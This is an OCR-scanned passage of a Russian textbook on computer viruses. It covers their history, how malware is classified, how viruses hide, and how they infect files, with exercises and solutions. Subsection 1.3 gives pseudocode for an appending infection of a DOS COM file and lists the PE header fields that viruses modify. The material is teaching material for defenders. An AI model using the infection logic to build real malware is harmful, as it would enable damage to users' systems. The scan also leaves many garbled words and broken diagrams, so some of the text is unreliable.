/
Text
Природа программных вирусов: создание,
обнаружение и лечение.
Аннотация
Учебник «Природа программных вирусов: создание, обнаружение и лечение»
системно излагает анатомию, эволюцию и методы нейтрализации
вредоносного ПО — от классических файловых вирусов до самообучающихся
И И-агентов. Рассмотрены механизмы маскировки, инструментарий
злоумышленников, технологии обнаружения (сигнатуры, эвристики,
песочницы, ML, EDR), стратегии лечения и восстановления данных. Отдельный
раздел посвящён противостоянию нейросетей в наступательных и
оборонительных кибероперациях. Каждая тема сопровождается
практическими задачами и наглядными маршрутными картами. Приложения
включают глоссарий, хронологию знаковых эпидемий и сравнительный анализ
современных антивирусных решений.
Для студентов, обучающихся по специальностям информационной
безопасности, системных администраторов, аналитиков SOC и всех, кто
стремится глубоко понимать угрозы иифоового мира и выстраивать
эшелонированную защиту.
ВВЕДЕНИЕ
0.1. Почему вирусы называют «болезнью» цифрового
мира
Термин «компьютерный вирус» вошёл в лексикон не случайно. В 1984 году
Фред Коэн, проводя эксперименты с самореплицирующимся кодом, обратился
к биологической аналогии, и она оказалась на редкость точной. Подобно
биологическому вирусу, программный вирус не может существовать
самостоятельно — он паразитирует на «клетке-хозяине», в роли которой
выступает исполняемый файл, загрузочный сектор или макрос документа.
Попадая в здоровую программу, он встраивает в неё свой код и модифицирует
точку входа так, чтобы при каждом запуске этой программы получать
управление. Дальше следует саморепликация — вирус заражает друг ие
доступные файлы Именно это свойство — обязательное внедрение в другие
программы с целью размножения — отличает вирус от червя (который
распространяется по сети, не модифицируя файлы) и от троянской программы
(которая вообще не размножается, а маскируется под полезное приложение).
Однако для конечного пользователя, столкнувшегося с потерей данных,
всплывающими окнами или требованием выкупа, все эти сущности сливаются
в единое понятие «цифровая зараза». Медицинская лексика здесь удивительно
органична: мы говорим об инкубационном периоде (время от заражения до
активации нагрузки), симптомах (замедление системы, необычная сетевая
активность), иммунитете (устойчивость некоторых программ к определённым
методам заражения), карантине (изолированная область, в которую антивирус
помещает подозрительный файл) и, наконец, о печении (восстановлении
исходного состояния файла). Эта метафора не просто красива — она даёт
интуитивно понятную модель поведения вредоносного кода, помогая и
специалистам, и пользователям осмысливать угрозу и способы борьбы с ней.
| Практические задания к подразделу 0.1
1. Найдите три сходства и три различия между биологическим вирусом
гриппа и файловым вирусом (среда обитания, способ передачи,
защитные механизмы).
Решение:
Сходства:
Паразитическая природа: оба не способны размножаться вне хозяина. Грипп
использует живую клетку, файловый вирус — исполняемый файл.
Саморепликация: попав в организм-носитель, оба создают множество своих
копий, распространяя инфекцию
Способность к мутациям: вирус i рипгта мутирует (дрейф и сдвиг ан гимнов);
прогоаммные вирусы используют полиморфизм и метаморфизм, меняя свой
код при каждом заражении, чтобы обойти иммунитет (антивирус).
Различия:
Среда обитания и носитель: биологический вирус — это нуклеиновая кислота
в белковой оболочке, поражающая живые клетки. Файловый вирус —
последовательность инструкций в памяти компьютера, поражающая файлы
определенного формата.
Способ передачи: грипп передаётся воздушно-капельным путём или через
поверхности. Компьютерный вирус распространяется через съемные носители,
сетевые папки, электронную почту, за1рузки из интернета и эксплойты.
Защитные механизмы хозяина: организм отвечает иммунным ответом
(выработка антител, лихорадка) Цифровая среда защищается антивирусными
программами, брандмауэрами, системами обнаружения вторжений,
песочницами и поведенческим анализом, а также организационными мерами
(обновления, резервное копирование).
2. Объясните, почему термин «червь» не совсем вписывается в
медицинскую метафору, но всё равно часто называется вирусом.
Решение.
Сетевой червь, в отличие от вируса, не нуждается в программе-носителе и не
заражает файлы. Он распространяется автономно, эксплуатируя уязвимости
сетевых служб или используя социальную инженерию, рассылая свои копии. В
биологии червь — это многоклеточный организм, который может
существовать самостоятельно, а не внутриклеточный паразит. Таким образом,
буквальная параллель с биологическим червем не очень точна. Тем не менее,
в обыденном сознании любая самовоспроизводящаяся вредоносная
программа называется «вирусом», потому что для жертвы важны последе!бия
— заражение системы, кража данных, нарушение работы. К тому же многие
современные угрозы являются гибридами, сочетающими вирусные и
червячные механизмы, поэтому жесткое терминологическое разделение часто
стирается.
3. Проанализируйте кейс «I love you» и укажите, какие именно «симптомы
заболевания» проявляла заражённая система.
Решение:
Червь ILOVEVOU (2000 г.), маскировавшийся под любовное письмо, заоазил
миллионы компьютеров. Симптомы заражения:
Массовая рассылка: заражённая машина сама рассылала письма с червем всем
контактам из адресной книги Outlook, имитируя поведение пользователя
(симптом «заразности»).
Перезапись файлов: червь искал файлы с расширениями JPG, JPEG, MP3, VBS и
другими и перезаписывал их своим кодом, уничтожая данные (деструктивная
нагрузка).
Скрытность и распространение: использовал скриптовый движок Windows
Script Host, оставаясь незаметным для неопытного пользователя, и запускался
автоматически при двойном клике на вложение.
Сетевые артефакты: массовый почтовый трафик перегружал серверы
организаций.
Установка троянского компонента: червь загружал программу для кражи
паролей и отправки их злоумышленнику, то есть инфекция влекла за собой
вторичное заражение.
Таким образом, «симптомоксмплекс» включал нарушение целостности данных,
несанкционированную сетевую активность, компрометацию учётных записей и
общую деградацию производительности почтовой системы.
0.2. Эволюция угроз: от экспериментов до кибероружия
История вредоносных программ — это зеокало развития самих
информационных технологий и смены мотиваций злоумышленников. На заре
эпохи, в 1971 году, программа Creeper, созданная Бобом Томасом, просто
перемещалась по сети ARPANET, выводя сообщение «I m the creeper, catch me if
you can!». Это был безобидный эксперимент. Позднее, в 1980-е. появились
первые настоящие вирусы: Elk Cloner для Apple II (1982) и Brain (1988) для IBM
PC, написанные скорее из исследовательского интереса или для защиты
авторских прав. В 1990-е доминировал киоервандализм: Michelangelo
активировался 6 марта и уничтожал данные, ОН (1998) перезаписывал BIOS. С
наступлением 2000-х пришла эра финансовой выгоды: черви вроде Mydoom
(2004) создавали гигантские ботнеты для рассылки спама и DDoS-атак, a Zeus
(2007) воровал банковские реквизиты. Появление криптовалют породило
волну программ-вымогателей (CryptoLocker, 2013) и скрытых майнеров. Нс
подлинный тектонический сдвиг случился с обнаружением Stuxnet (2010) —
вируса, нацеленного на промышленные системы иранской ядерной
программы. Stuxnet использовал четыре уязвимости нулевого дня и
продемонстрировал, что вредоносный код стал инструментом геополитики,
кибероружием. За ним последовали Duqu, Flame, Equation Group. В 2017 году
эпидемия WannaCry, использовавшая утечку эксплойтов Агентства
национальной безопасности США, поразила сотни тысяч компьютеров по
всему миру, a NotPetya, замаскированный под вымогатель, уничтожал данные
безвозвратно, нанеся многомиллиардный ущерб. Сегодня ландшафт
определяется сложными АРТ-г руппировками, целевым шпионажем и
шифровальщиками как услугой (RaaS).
| Практические задания к подразделу 0.2
1. Подготовьте хронологическую ленту из 10-12 знаковых вредоносных
программ с кратким описанием ущерба.
Решение (пример хронологической ленты):
Год Название Краткое описание и ущерб
1971 Creeper Безобидный саморазмножающийся код на PDP-10. Первый сетевой эксперимент
1986 Brain Первый вирус для IBM PC. Заражал загрузочный сектор дискет, скрываясь от обнаружения
1992 Michelangelo Активировался 6 марта, уничтожал данные на жестком диске. Паника, но реальный ущерб невелик.
1998 CIH / Перезаписывал BIOS и первый мегабайт жесткого
Chernobyl диска. Ущерб оценивался в миллионы долларов.
Год Название Краткое описание и ущерб
2000 ILOVEYOU Поразил ~50 млн ПК, ушерб ~10 млрд долларов из-за остановки бизнес-процессов.
2001 Code Red Чеовь атаковал зеб-серверы IIS, дефейсил страницы, ущерб ~2 млрд долларов.
2003 SQL Slammer Рекордная скорость распространения, парализовал банкоматы и аварийные службы
2004 Mydoom Самый быстрый почтовый червь, создал огромный ботнет, ущерб ~38 млрд долларов.
2008 Conticker Заразил миллионы ПК, в том числе военные сети, создал мощнейший ботнет
2010 Stuxnet Кибератака на центрифуги Ирана, физическое разрушение оборудования.
Вымогатель, использовавший EternalBlue,
2017 WannaCry парализовал больницы, заводы, ушерб сотни
миллионов.
2017 Not Pet ya Маскировался под вымогатель, безвозвратно шифровал диски, ущерб более 10 млрд долларов.
2. Как изменился ландшафт угроз после появления криптовалют?
Аргументи руйте.
Решение:
Появление биткойна и других криптовалют решило главную проблему
киберпреступников — безопасную и анонимную монетизацию атак. До этого
перевод украденных денег требовал посредников (дропов, банковских счетов),
что увеличивало риск разоблачения. Криптовалюты позволили:
Расцвет вымогателей (ransomware): требование выкупа в биткойнах стало
простым и относительно анонимным, что привело к взрывному росту числа
атак (CryptoLocker, WannaCry, Ryuk).
Скрытый майнинг (криптоджекинг): злоумышленники стали тайно
использовать вычислительные ресурсы жертв для добычи криптовалют,
превратив это в фоновый, но стабильный доход.
Развитие подпольных рынков: криптовалюты стали основным платежным
средством в даркнете для торговли вредоносным ПО, уязвимостями.,
украденными данными, что способствовало коммерциализации
киберпреступности (модель «вредоносное ПО как услуга»).
Таким образом, финансовая мотивация получила надёжную инфраструктуру, и
ландшафт сместился от хулиганства к организованной, хорошо финансируемой
преступности.
3. Выявите общие технологические предпосылки, сделавшие возможной
эпидемию WannaCry.
Решение.
Утечка эксплойта EternalBlue: инструмент АНБ, эксплуатирующий уязвимость
в протоколе SMBvl (CVE-2017-0144), был опубликован группой Shadow Brokers.
Это дало червю мощный механизм бесконтактного распространения.
Широкое распространение устаревших и непропатченных ОС: на момент
атаки миллионы компьютеров, особенно в госучреждениях, больницах и на
производстве, работали на Windows 7 и даже Windows ХР без свежих
обновлений безопасности.
Повсеместное использование SMBvl: устаревший протокол был включён по
умолчанию е-о многих системах для совместимости, представляя огромную
поверхность атаки.
Высокая связность сетей: локальные сети предприятий позволяли червю
молниеносно распространяться от одной заражённой машины ко всем
остальным.
Отсутствие сегментации и надлежащей сетевой гигиены: во многих
организациях не был настроен фильтрующий брандмауэр для блокировки
портов 445/139 на границе сегментов.
Сочетание мощного эксплойта и пренебрежения базовыми мерами защиты
превратило единичный экземпляр в глобальную эпидемию.
0.3. Цели и структура материала
Эта книга (или учебное пособие) ставит перед собой триединую задачу дать
читателю глубокое понимание природы программных вирусов, объяснить, как
они создаются (на концептуальном уровне, без рецептов для
правонарушителей), и вооружить знаниями и навыками для их обнаружения,
лечения и профилактики. Мы не учим писать вирусы — мы учим мыслить как
вирусный аналитик и специалист по кибербезопасности. Материал выстроен в
логической последовательности, имитирующей путь от изучения врага до
организации надёжной обороны.
Часть I «Природа программных вирусов» закладывает теоретический
фундамент: зводятся определения, классификации, рассматривается
жизненный цикл и механизмы маскировки. Без этого невозможно ни
анализировать инциденты, ни проектировать защиту.
Часть II «Как создаются вирусы» исследует мотивацию, инструментарий и
тактики злоумышленник Это «разведка» перед боем: понимание того, как
думает противник, позволяет предвидеть его действия и строить
эшелонированную оборону.
Часть III «Обнаружение вредоносных программ» посвящена технологиям
детектирования — от классических сигнатур до машинного обучения и
поведенческой аналитики Здесь разбираются принципы работы совэеменных
антивирусов, песочниц, EDR-систем.
Часть IV «Лечение и восстановление» — практическое руководство к
действию: стратегии удаления вирусов, восстановления данных, алгоритмы
действий при заражении и построение системы профилактики, которая сводит
риск к минимуму.
Все части связаны циклически: фундаментальные знания (i) позволяют
понимать атаки (II), методы обнаружения (III) строятся на знании природы
угроз, а эффективное лечение и профилактика (IV) опираются на все
предыдущие уровни.
| Практические задания к подразделу 0.3
1. Сформулируйте, какие три главных вопроса должен уметь решать
читатель после освоения всего материала.
Решение:
1 Как определить, что система заражена? — читатель будет способен
распознать индикаторы компрометации на разных уровнях: от поведенческих
симптомов до сетевых аномалий и следов в памяти.
2. Как нейтрализовать угрозу и минимизировать ущерб? — он освоит
стратегии безопасного удаления вредоносного ПО и восстановления системы,
включая работу с загрузочными дисками и специализированными утилитами.
3. Как выстроить проактивную защиту, чтобы предотвратить заражение? —
получит знания о настройке политик ограниченного использования, резервном
копировании, обновлениях и обучении персонала, чтобы снизить риск до
приемлемого уровня.
2. Составьте интеллект-карту, отражающую взаимосвязи четырёх частей
книги.
Решение (текстовое описание интеллект-карты):
Центральный узел: «Обеспечение кибербезопасности: противостояние
программным вирусам».
От него отходят четыре основные ветви
I Природа вирусов -» фундаментальные определения (вирус, червь, троян),
классификация по среде обитания, жизненный цикл, маскировка
(полиморфизм, стеле, руткиты). Связь: знание этих механизмов необходимо для
понимания, как вирус избегает обнаружения (III) и как его удалить (IV).
II Создание вирусов -> мотивация (исследовательская, финансовая, шпионаж),
инструменты (языки, конструкторы, обфускация), тактики доставки и
закрепления. Связь: моделирует угрозы, которые должны обнаруживать
системы из части III, и задаёт требования к лечению и профилактике в части IV
III Обнаружение -» сигнатурный и эвристический анализ, песочницы,
облачная репутация, ML, EDR/XDR. Связь результаты обнаружения запускают
процессы лечения (IV), а эффективность меюдог зависит оттого, насколько
полно они покрывают техники из части II
IV Лечение и профилактика -» стратегии лечения (дезинфекция файлов,
удаление), инструменты (Live CD, чистильщики), восстановление данных,
резервное копирование, культура безопасности. Связь, раздел синтезирует
знания о поведении вирусов (I) и их атаках (II), чтобы предложить практические
меры, а также дает обратную связь для совершенствования обнаружения (III).
Между частями циклические зависимости: изучение природы (I) поможет
спроектировать обнаружение (III), обнаружение выявляет новые угрозы (II), что
требует улучшения лечения и профилактики (IV), а опыт лечения, в свою
очередь, обогащает понимание природы виоусов. Интеллект-карта наглядно
показывает, что все части нзаимосвязаны, и только целостный подход даёт
надёжную защиту.
HACTd I. ПРИРОДА ПРОГРАММНЫХ ВИРУСОВ.
Глава 1. Фундаментальные понятия.
Любая наука начинается с определений. Компьютерная вирусология не
исключение Без чёткого понимания того, что такое вирус, червь и троян,
невозможно ни классифицировать угрозы, ни проектировать эффективную
защиту. В этой главе мы закладываем фундамент: вводим ключевые термины,
разбираем свойства вредоносных программ и рассматриваем вирус как
паразитарную форму цифрового мира.
1.1. Определение вредоносной программы: вирус, червь,
троян — в чём разница.
Формальное определение вируса
В 1984 году Фред Коэн, проводя эксперименты с самореплицирующимся
кодом, дал ставшее классическим определение: «Компьютерный вирус — это
программа, которая может заражать другие программы, модифицируя их
с целью включения в них своей, возможно, эволюционировавшей
копии»
Ключевое слово здесь — «заражать». Вирус — облигатный паразит. Он не
существует как самостоятельный файл; он всегда внедрен в тело другой
программы, загрузочный сектор или документ с макросами. Именно это
свойство — саморепликация с обязательным внедрением в другие
исполняемые объекты — отделяет вирус от всех прочих категорий
вредоносного ПО.
Червь: размножение без заражения
Червь (worm) — это тоже самореплицирующаяся программа, но механизм её
размножения иной. Червь распространяется по компьютерным сетям,
эксплуатируя уязвимости сетевых служб или используя социальную
инженерию. Он не модифицирует исполняемые файлы и не нуждается в
программе-носителе. Каждая копия червя — это самостоятельный файл или
процесс.
Классический пример — червь Морриса (1988), парализовавший ранний
интернет. Он использовал уязвимости в send mail и fingerd.. копировал себя на
удаленные машины и запускался там Code Red (2001) эксплуатировал
переполнение буфера р Microsoft IIS, внедрял код в память веб-сервера и
продолжал сканирование — без каких-либо файловых операций на диске.
Троян: маскировка без размножения
Троянская программа (троян, trojan horse) получила название в честь
легендарного деревянного коня Она маскируется под легитимное приложение
— полезную утилиту, документ, игру — но скрытно выполняет вредоносные
действия. Принципиальное отличие: троян не размножается
самостоятельно Пользователь сам скачивает и запускает ei о.
Zeus (Zbot) — один из самых известных банковских троянов Он
распространялся через спам-рассылки и эксплойт-паки на
скомпрометированных сайтах, маскируясь под счета и уведомления Попав в
систему, он воровал учетные данные из браузеров и FTP-клиентов, а также
загружал дополнительные модули. Размножения файлов не происходило.
Другие важные категории
Бэкдор (backdoor) — средство скрьгого удалённого доступа. Может быть
установлено трояном или червем как дополнительный компонент.
Руткит (rootkit) — набор инструментов для сокрытия присутствия (процессов,
файлов, ключей реестра). Не размножается, но часто входит в состав сложных
угроз.
Шифровальщик (ransomware) — программа, шифрующая данные и
требующая выкуп. Это категория по цели, а не по механизму размножения.
Может распространяться как троян (фишинговое вложение) или как червь
(эксплойт EterrtalBlue в WannaCry).
Стилер (stealer) — программа для кражи учетных данных, обычно троян.
Гибриды и диаграмма Венна
Современное вредоносное ПО редко укладывается в строгие рамки одной
категории Оно всё чаще представляет собой гибриды, сочетающие
механизмы вируса, червя и трояна.
Melissa (1999) — классический пример гибрида. Он заражал документы Word,
внедряя макрос в глобальный шаблон Normal.dot (вирусное поведение), и
одновременно рассылал себя по электронной почте первым 50 адресатам из
адресной книги Outlook (червячное поведение).
Nimda (2001) сочетал все три механизма заражал исполняемые файлы (вирус),
рассылался по email (червь) и маскировался под легитимные веб-страницы
(троян).
Для наглядного представления этих пересечений удобно использовать
диаграмму Венна:
text
I--------------------------------------------------------------------------1
| ДИАГРАММА ВЕЧНА: КЛАССЫ ВРЕДОНОСНОГО ПО |
I__________________________________________________________________________I
I------------------------------1
I I
I ВИРУСЫ
(заражают файлы,
загрузочные сектора)
I I
I I----------------------1
I I---------------------------1-----------------1
| | | ГИБРИДЫ | | |
• Nimda
• Conficker
ЧЕРВИ
(сетевые
черви)
. SQL
SJarrmer
трояны
(маскировка,
нет репликации)
• Zeus (троян + бэкдор)
• MBR Locker (троян-
вымогатель)
______________________________I
---------------------------------------------------------------1
ОТДЕЛЬНЫЕ КАТЕГОРИИ (по функциональности,
а не по механизму размножения):
I
• Шифровальщики (Ransomware) - цель: выкуп |
• Стилеры (Stealers) - цель: кража данных
• Руткиты (Rootkits) - цель: сокрытие
• Бэкдоры (Eackdoors) - цель: удалённый доступ
| Задачи к подразделу 1.1 с решениями
1. Для каждого из следующих образцов определите класс
(вирус/червь/троян/бэкдор) и обоснуйте: CodeRed, Zeus, MBR Locker,
Melissa.
Решение.
• CodeRed — червь. Активно сканировал интернет в поисках уязвимых серверов
I IS, использовал переполнение буфера для внедрения кода в память, не
создавал файлов на диске, распространялся полностью автономно по сети без
участия пользователя. Наличие троянской нагрузки (дефейс сайта, DoS-атака)
не меняет его червячной природы.
Zeus (Zbot) — троян I бэкдор Распространялся через фишинговые письма и
эксплойт-паки (diive-by downloads), не обладал механизмом автоматического
сетевого размножения. Его распространение полностью зависело от действий
пользователя или эксплуатации браузерных уязвимостей. В системе выполнял
функции стилера и бэкдора.
MBR Locker — троян-вымогатель. Подменял MBR и требовал ьыкуп.
Распространялся через фишингогые вложения (дропперы), а не через
автоматическое размножение. Файлы не заражал, по сети сам не
распространялся. Исключение. NotPetya использовал червячный механизм
EternalBlue, но это уже другой образец.
Melissa — макровирус-червь (гибрид) Заражал документы Word,
модифицируя глобальный шаблон Normal.dot (вирусный механизм), и
одновременно рассылал себя по электронной почте через Outlook (червячный
механизм). По доминирующему механизму — макровирус с функцией
массовой рассылки.
2. Может ли программа быть одновременно вирусом и трояном?
Приведите гипотетический сценарий.
Решение:
Да, может. Вирус характеризуется способом размножения (заражение файлов),
а троян — способом маскировки. Одна программа способна сочетать оба
свойства.
Гипотетический сценарий' Пользователь скачивает программу,
замаскированную под «бесплатный VPN» (троянская маскировка) После
запуска она не только начинает шпионить (троянская функция), но и заражает
другие .ехе-файлы на диске, внедряя в них свой код (вирусная репликация).
Теперь любой запуск заражённых программ приводит к дальнейшему
распосстранению. Один образец сочетает оба механизма. Похожее поведение
демонстрировало семейство Virut — файловый вирус, который также
выполнял функции бэкдора и кражи данных
3. Разработайте диаграмму Венна, показывающую пересечения классов
вредоносного ПО.
Решение:
(См. схему и текстовое описание выше в основном тексте подраздела.)
1.2. Основные свойства: саморепликация, скрытность,
деструктивная нагрузка
Саморепликация — фундаментальное свойство
Саморепликация — это способность программы создавать собственные
копии и Е недрять их в другие программы или системные области. Именно она
отделяет вирус от просто вредоносной программы. Без саморепликации нет
вируса —есть грояп, бэкдор или стилер.
Репликация может быть:
Неограниченной — вирус заражает все доступные файлы при каждом запуске.
Ограниченной — один раз за сеанс, по триггеру (например, раз в день), до
определённого количества.
Но сам механизм обязан присутствовать. Именно размножение обеспечивает
вирусу Во1живание, распространение и эволюцию.
Скрытность — способность избегать обнаружения
Скрытность не является обязательным свойством вируса — первые вирусы
были примитивны и легко обнаруживались по сигнатурам Однако в
современном ландшафте угроз скрытность критична: чем дольше нирус
остаётся незамеченным, тем больше у него времени на размножение и
выполнение нагрузки.
Основные техники скрытности:
Техника Описание
Стеле (stealth) Перехват системных вызовов для маскировки изменений в файлах, процессах, сеченых соединениях
Полиморфизм Шифрование тела вируса с генерацией уникального расшифровщика при каждой репликации
Метаморфизм Полная перезапись гела вируса с сохранением функциональности
Обфускация Запутывание кода (мусорные инструкции, перестановка блоков)
Анти-отладка Обнаружение работы под отладчиком и завершение или изменение поведения
Техника
Описание
Анти-
Проверка на выполнение в эмуляторе или песочнице
эмуляция
Связь между скрытностью и временем жизни вируса прямая: чем выше
скрытность, тем больше времени требуется аналитикам на реверс-инжиниринг
и создание средств детектирования, и тем дольше вирус безнаказанно
размножается
Деструктивная нагрузка — необязательный, но ожидаемый компонент
Нагрузка (payload) — это действия, выполняемые вирусом помимо
размножения. Она не является обязательной' теоретически может
существовать вирус, который только реплицируется, не нанося прямого
ущерба данным.
Однако на практике почти все вирусы несут ту или иную нагрузку:
Уничтожение или шифрование данных (вымогатели, вайперы).
Кража информации (стилеры, кейлоггеры).
Организация DDoS-атак (ботнеты).
Установка бэкдоров для удалённого доступа.
Показ политических или рекламных сообщений
Повреждение аппаратного обеспечения (перезапись BIOS, перегрев —
редкость).
Даже «безобидный» вирус, лишённый деструктивной нагрузки, наносит вред за
счёт расходования ресурсов системы, замедление работы, заполнение диска,
конфликты между заражёнными приложениями.
Схема: три свойства вредоносной программы
text
I--------------------------------------------------------------------1
| ТРИ КЛЮЧЕВЫХ СВОЙСТВА ВРЕДОНОСНОЙ ПРОГРАММЫ
I____________________________________________________________________I
I----------------
| САМОРЕПЛИКАЦИЯ
| (размножение)
“I
| «- ОБЯЗАТЕЛЬНО для вируса
Определяет принадлежность к классу
I
I
I
I
I
I
I
I
I
I
I
ПРИМЕРЫ СОЧЕТАНИЙ:
I | ПРОГРАММА 1 | РЕПЛИКАЦИЯ? I 1 | СКРЫТНОСТЬ? 1 1 1 | НАГРУЗКА? | I I
| Creeper (1971) 1 | Да 1 1 | Нет 1 1 1 | Нет (только вывод | сообщения)
| CIH (1998) | Да (файлы) 1 | Да (cavity) 1 | Да (уничтожение данных и BIOS)
Zeus (гроян) | Нет Част ично | Да (кража данных) 1
| Stuxnet (2610) ' Да (червь + | Да (руткит, Да (физическое
i файлы) 1 । украденные сертификаты) । разрушение) 1 1 । ।
| Задачи к подразделу 1.2 с решениями
1. Опишите гипотетический вирус, лишённый деструктивной нагрузки, но
наносящий значительный вред за счёт своей репликации.
Решение:
Вирус «Sponge» (Губка) использует caviiy-инфекцию: он внедряет код в
неиспользуемые области PE-файлов так, чтобы размер файла не менялся
(высокая скрытность). Нагрузка отсутствует — вирус не удаляет, не шифрует и
не ворует данные Однако он агрессивно реплицируется' при каждом запуске
заражает до 100 новых .ехе и .all-файлов, добавляя в каждый случайный
мусорный блок. Результат через несколько дней:
Количество зараженных файлов достигает сотен тысяч.
• Постоянная дисковая активность (сканирование, запись) снижает
производительность системы до неприемлемого уровня.
• Заражённые приложения конфликтуют друг с другом, так как вирусный код
нарушает их целостность.
• В корпоративной сети вирус переполняет файловые серверы, создавая
паразитный трафик.
Вред — полная деградация системы без формальной деструктивной нагрузки.
2. Почему скрытность прямо пропорциональна времени жизни вируса в
дикой среде?
Решение:
Время жизни вируса в дикой среде (t_life) складывается из' времени до
обнаружения аналитиками (t_detect), времени на создание и развертывание
средств защиты (t_deploy), и времени на очистку заражённых систем (t_ciean).
Скрытность увеличивает t_detect, потому что'
• Полиморфные и стелс-вирусы трудно поймать автоматическими системами
(honeypot, песочница)
• Аналитикам требуется больше времени на реверс-инжиниринг.
• Даже после создания сигнатуры стелс-вирусы могут скрывать своё присутствие
на уже заражённых машинах.
Чем больше t_detect, тем больше времени у вируса на неконтролируемое
размножение и тем шире его географическое распространение. Рост первого
компонента неизбежно увеличивает общую сумму.
3. Придумайте три метрики, которыми можно измерить «степень
скрытности» вредоносной программы.
Решение:
1. Zero-Day Detection Rate (коэффициент обнаружения на нулевой
день): процент антивирусных движков на VirusTotal, детектирующих образец
при первом появлении, до распространения сигнатур. Низкий процент =
высокая скрытность.
2 Time-to-Signature (время до создания надёжной сигнатуры): интервал от
первой загрузки образца в облачные сервисы до момента, когда >80%
популярных антивирусов стабильно его детектируют. Измеряется в часах или
днях.
3. Sandbox Evasion Score (индекс уклонения от песочниц): количество анти-
аналитических техник, идентифицированных при автоматическом анализе
(проверка виртуализации, задержки выполнения, детект песочницы).
Рассчитывается как сумма баллов за каждую обнаруженную технику.
13. Вирус как паразит: обязательная привязка к носителю
Паразитарная природа
Вирус — облигатный паразит цифрового мира. Он не способен существовать
как самостоятельный файл. Его среда обитания —тело легитимной программы -
носителя. Попадая в систему, вирус физически внедряет свой код в файл и
модифицирует его структуру так, чтобы при запуске управление сначала
получал вредоносный код, а затем — оригинальная программа.
Если провести биологическую аналогию: вирусная частица (вредоносный код)
проникает в клетку (исполняемый файл), встраивается в её генетический
аппарат (модифицирует Entry Point) и заставляет клетку производить новые
вирусные частицы (репликация).
Механизмы заражения
Сложность механизма заражения зависит от формата файла и желаемой
скрытности вируса:
Метод Описание
Скрытность
Prepending Вирус записывает себя в начало файла, сдвигая оригинальный код Низкая (размер меняется)
Appending Дописывает код ь конец файла, модифииирует Entry Point Средняя (размер меняется)
Высокая
Cavity- Размещает код в неиспользуемых областях
(размер не
инфекция (между секциями, полости выравнивания)
меняется)
Добавление Создаёт новую секцию в PE-файле для
Средняя
секции своего кода
Схема: три метода заражения РЕ-файла
text
МЕТОДЫ ЗАРАЖЕНИЯ ИСПОЛНЯЕМОГО ФАЙЛА
ИСХОДНЫЙ ФАЙЛ (до заражения) APPENDING (дописывание) CAVITY-ИНФЕКЦИЯ (внедрение в полость)
I I РЕ-за^оловок | I I I I | | I I | PE-заголовок | (EntryPoint | изменён) | | I | РЕ-заголовок (EntryPoint изменён) | п I I I _|
I I I I I | ЛЕГИТИМНЫЙ | I код | I I I I I I I I I I I | ЛЕГИТИМНЫЙ | I КОД I I I I I I I I I | ВИРУСНЫЙ | код I I ЛЕГИТИМНЫЙ I код I I I и I |«- полость заполнена вирусом I I I
I I I I I I I I I I I I I | ВИРУСНЫЙ I I КОД I I I I I I I J
Размер: 100 КБ Размер 120 КБ
(не заражён) (увеличился -
легко заметить)
Размер: 100 КБ
(НЕ изменился -
высокая скрытность)
Восстановление управления
Критически важно, чтобы после выполнения вирусного кода программа-
носитель продолжала работать нормально. Если вирус «сломает» хозяина —
программа перестанет запускаться или начнёт выдавать ошибки, что
немедленно привлечет внимание пользователя и ускорит обнаружение.
Поэюму вирус обязан:
1 Сохранить оригинальные значения (первые байты, Entry Point).
2. После завершения своей работы восстановить среду.
3. Переда гь управление на оригинальную точку входа.
Судьба загрузочных вирусов: почему они вымерли
Загрузочные вирусы заражали MBR или VBR, перехватывая управление до
старта ОС. Они процветали в эпоху RIOS, но с приходом UEFI практически
исчезли по нескольким причинам:
1 UEFI загружает не MBR, а файлы .efi из системного раздела EFI.
2. Secure Boot проверяет цифровые подписи загрузочного кода. Неподписанный
вирус просто не будет выполнен.
3. Защита на уровне ОС: ELAM. Trusted Boot проверяют целостность
компонентов загрузки.
4. Аппаратная защита: современные чипсеты запрещают запись в MBR из
неприЕилегированного режима.
Тем не менее, угроза эволюционировала в UEFI-руткиты (CosmicStrand,
BlackLotus), которые атакуют саму прошивку UEFI или обходят Secure Boot
через уязвимости. Но классический MBR-вирус, подменяющий код в первом
секторе диска, в современных системах с Secure Boot и UEFI больше не
работает.
Схема: эволюция загрузочных угроз
text
ЭВОЛЮЦИЯ ЗАГРУЗОЧНЫХ УГРОЗ: ОТ MRR К UFFI
ЭПОХА BIOS (до -2010)
ЭПОХА UFFI (с -2012)
активируется
(перехватывает
проверяет подпись |
(MBR-вирус
НЕ пройдёт)
I
▼
-----------------------1
3. НОВЫЕ УГРОЗЫ: |
UEFIбуткиты
(атакуют прошивку) |
_______________________I
| Задачи к подразделу 1.3 с решениями
1. Напишите псевдокод процедуры заражения СОМ-файла старого
образца (без вредоносной нагрузки).
Решение:
COM-файлы в MS-DOS — простейший формат: бинарный образ без
заголовков, точка входа всегда в начале файла. Вирус использует метод
appending:
text
Процедура Заразить(ПутьКФайлу)
Открыть_файл(ПутьКФайлу., ЧТЕНИЕ-ЗАПИСЬ)
Если НайденМаркерЗаражения() Тогда
Закрыгь_файл()
Выход
Конец Если
Прочитать первые 3 байта файла в переменную OrigBytes
Вычислить смещение конца файла (РазмерФайла)
Сформировать команду перехода:
jMP (0хЕ9) + (РазмерФэйла - 3) как 16-битное смещение
Заменить первые 3 байта файла на эту команду перехода
Переместиться в конец файла
Записать тело вируса
Записать сохранённые OrigBytes
Записать сигнатуру заражения (например., VI')
Закрыть_файл()
Конец Процедуры
При запуске заражённого файла управление получает вирусный код в конце
файла. Он выполняет поиск и заражение других СОМ файлов, затем
восстанавливает оригинальные первые 3 байта в памяти и передаёт
управление на 0x100 (начало программы-хозяина).
2. Какие поля PE-заголовка чаще всего модифицируются вирусом для
передачи управления?
Решение:
• AddressOfEntryPoint — основной метод. Вирус записывает RVA своего кода,
сохраняя оригинальное значение
• SizeOfImage — увеличивается, если ирус дописывает код в конец или
добавляет секцию.
• Characteristics секции — добавляется флаг image_scn_mem_execute для секции с
вирусным кодом.
• VirtualSize I SizeOfRawData — корректируются при расширении секции.
• NumberOfSections — увеличивается при добавлении новой секции.
• РЕ Checksum — пересчитывается для драйверов, чтобы ОС не отказалась их
загружать.
3. Проанализируйте, почему загрузочные вирусы практически вымерли с
приходом UEFI и Secure Boot.
Решение:
Классический загрузочный вирус заражал MBR, который В1О555^НФно
загружал и исполнял. UEFI принципиально изменил этот процесс:
1 UEFI загружает не MBR, а EFI-файлы. Физический первый сектор диска
больше не является точкой входа
2 . Secure Boot проверяет цифровые подписи на каждом этапе. Неподписанный
код (в том числе вирусный) блокируется до выполнения.
